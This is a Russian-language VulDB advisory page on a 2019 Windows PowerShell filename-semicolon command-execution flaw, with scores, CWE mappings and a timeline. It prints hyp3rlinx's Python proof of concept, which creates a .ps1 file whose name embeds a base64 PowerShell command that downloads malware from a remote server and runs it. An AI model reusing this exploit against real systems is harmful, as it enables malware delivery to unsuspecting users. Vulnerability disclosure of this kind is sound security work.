Microsoft Windows PowerShell Semicolon эскалация привилегий

CVSS Meta Temp ScoreТекущая цена эксплойта (≈)Балл интереса CTI
5.7$0-$5k0.00

СводкаИнформация

Была найдена уязвимость, отнесённая к категории критический, в Microsoft Windows. Затронута неизвестная функция компонента PowerShell. Выполнение манипуляции в составе Semicolon приводит к эскалация привилегий. Атаку можно провести дистанционно. Более того, существует эксплойт. Рекомендуется деактивировать соответствующий компонент.

ПодробностиИнформация

Была найдена уязвимость, отнесённая к категории критический, в Microsoft Windows. Затронута неизвестная функция компонента PowerShell. Выполнение манипуляции в составе Semicolon приводит к эскалация привилегий. Использование CWE для объявления проблемы приводит к тому, что CWE-94. Данная уязвимость была опубликована 01.08.2019 исследователем John Page (hyp3rlinx) в виде Консультация (Веб-сайт). Консультация доступна для скачивания по адресу hyp3rlinx.altervista.org. Публичный релиз был согласован с поставщиком.

Атаку можно провести дистанционно. Технические подробности отсутствуют. Данная уязвимость менее популярна, чем в среднем. Более того, существует эксплойт. Эксплойт был раскрыт общественности и может быть использован. Сейчас цена на эксплойт приблизительно равна USD $0-$5k. В проекте MITRE ATT&CK эта техника атаки обозначена как T1059.

Указано значение Доказательство концепции. Эксплойт можно скачать по ссылке hyp3rlinx.altervista.org. Уязвимость обрабатывалась как непубличный эксплойт нулевого дня в течение как минимум 12 дней. Как 0-day, оценочная цена на теневом рынке составляла примерно $25k-$100k. Код, используемый эксплойтом, следующий:

from base64 import b64encode
import argparse,sys
#Windows PowerShell - Unsantized Filename Command Execution Vulnerability PoC
#Create ".ps1" files with Embedded commands to download, save and execute malware within a PowerShell Script Filename.
#Expects hostname/ip-addr of web-server housing the exploit.
#By hyp3rlinx
#Apparition Security
#====================

def parse_args(): parser.add_argument("-i", "--ipaddress", help="Remote server to download and exec malware from.") parser.add_argument("-m", "--local_malware_name", help="Name for the Malware after downloading.") parser.add_argument("-r", "--remote_malware_name", help="Malwares name on remote server.") return parser.parse_args()

def main(args): PSEmbedFilenameMalwr="" if args.ipaddress: PSEmbedFilenameMalwr = "powershell iwr "+args.ipaddress+"/"+args.remote_malware_name+" -O %CD%\"+args.local_malware_name+" ;sleep -s 2;start "+args.local_malware_name return b64encode(PSEmbedFilenameMalwr.encode('UTF-16LE'))

def create_file(payload): f=open("Test;PowerShell -e "+payload+";2.ps1", "w") f.write("Write-Output 'Have a nice day!'") f.close()

if _name_=="_main_": parser = argparse.ArgumentParser() PSCmds = main(parse_args())

if len(sys.argv)==1: parser.print_help(sys.stderr) sys.exit(1) create_file(PSCmds) print "PowerShell - Unsantized Filename Command Execution File created!" print "By hyp3rlinx"

Рекомендуется деактивировать соответствующий компонент.

ПродуктИнформация

Тип

Поставщик

Имя

Лицензия

Веб-сайт

CPE 2.3Информация

CPE 2.2Информация

Видео

CVSSv4Информация

VulDB Вектор: 🔍
VulDB Надёжность: 🔍

CVSSv3Информация

VulDB Meta Base Score: 6.3
VulDB Meta Temp Score: 5.7

VulDB Базовый балл: 6.3
VulDB Временная оценка: 5.7
VulDB Вектор: 🔍
VulDB Надёжность: 🔍

CVSSv2Информация

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
ВекторСложностьАутентификацияКонфиденциальностьЦелостностьДоступность
РазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокировать
РазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокировать
РазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокировать

VulDB Базовый балл: 🔍
VulDB Временная оценка: 🔍
VulDB Надёжность: 🔍

ЭксплуатацияИнформация

Класс: эскалация привилегий
CWE: CWE-94 / CWE-74 / CWE-707
CAPEC: 🔍
ATT&CK: 🔍

Физический: Нет
Локальный: Нет
Удалённый: Да

Доступность: 🔍
Доступ: публичный
Статус: Доказательство концепции
Автор: John Page (hyp3rlinx)
Скачать: 🔍
Прогноз цен: 🔍
Оценка текущей цены: 🔍

0-DayРазблокироватьРазблокироватьРазблокироватьРазблокировать
СегодняРазблокироватьРазблокироватьРазблокироватьРазблокировать

Разведка угрозИнформация

Интерес: 🔍
Активные акторы: 🔍
Активные группы APT: 🔍

КонтрмерыИнформация

Рекомендация: Отключить
Статус: 🔍

0-дневное время: 🔍
Задержка эксплуатации: 🔍

ХронологияИнформация

20.07.2019 🔍
23.07.2019 +3 дни 🔍
01.08.2019 +9 дни 🔍
01.08.2019 +0 дни 🔍
06.08.2019 +5 дни 🔍
21.07.2020 +350 дни 🔍

ИсточникиИнформация

Поставщик: microsoft.com
Продукт: microsoft.com

Консультация: hyp3rlinx.altervista.org
Исследователь: John Page (hyp3rlinx)
Статус: Не определено
Скоординированный: 🔍

GCVE (VulDB): GCVE-100-139527
scip Labs: https://www.scip.ch/en/?labs.20161013

ВходИнформация

Создано: 06.08.2019 07:42
Обновлено: 21.07.2020 11:24
Изменения: 06.08.2019 07:42 (53), 21.07.2020 11:24 (2)
Завершенный: 🔍
Отправитель: hyp3rlinx
Cache ID: 216::103

ОтправитьИнформация

принято

  • Отправить #80: Microsoft Windows PowerShell / Unsanitized Filename Command Execution (по hyp3rlinx)

Дубликат

Be aware that VulDB is the high quality source for vulnerability data.

Обсуждение

Want to know what is going to be exploited?

We predict KEV entries!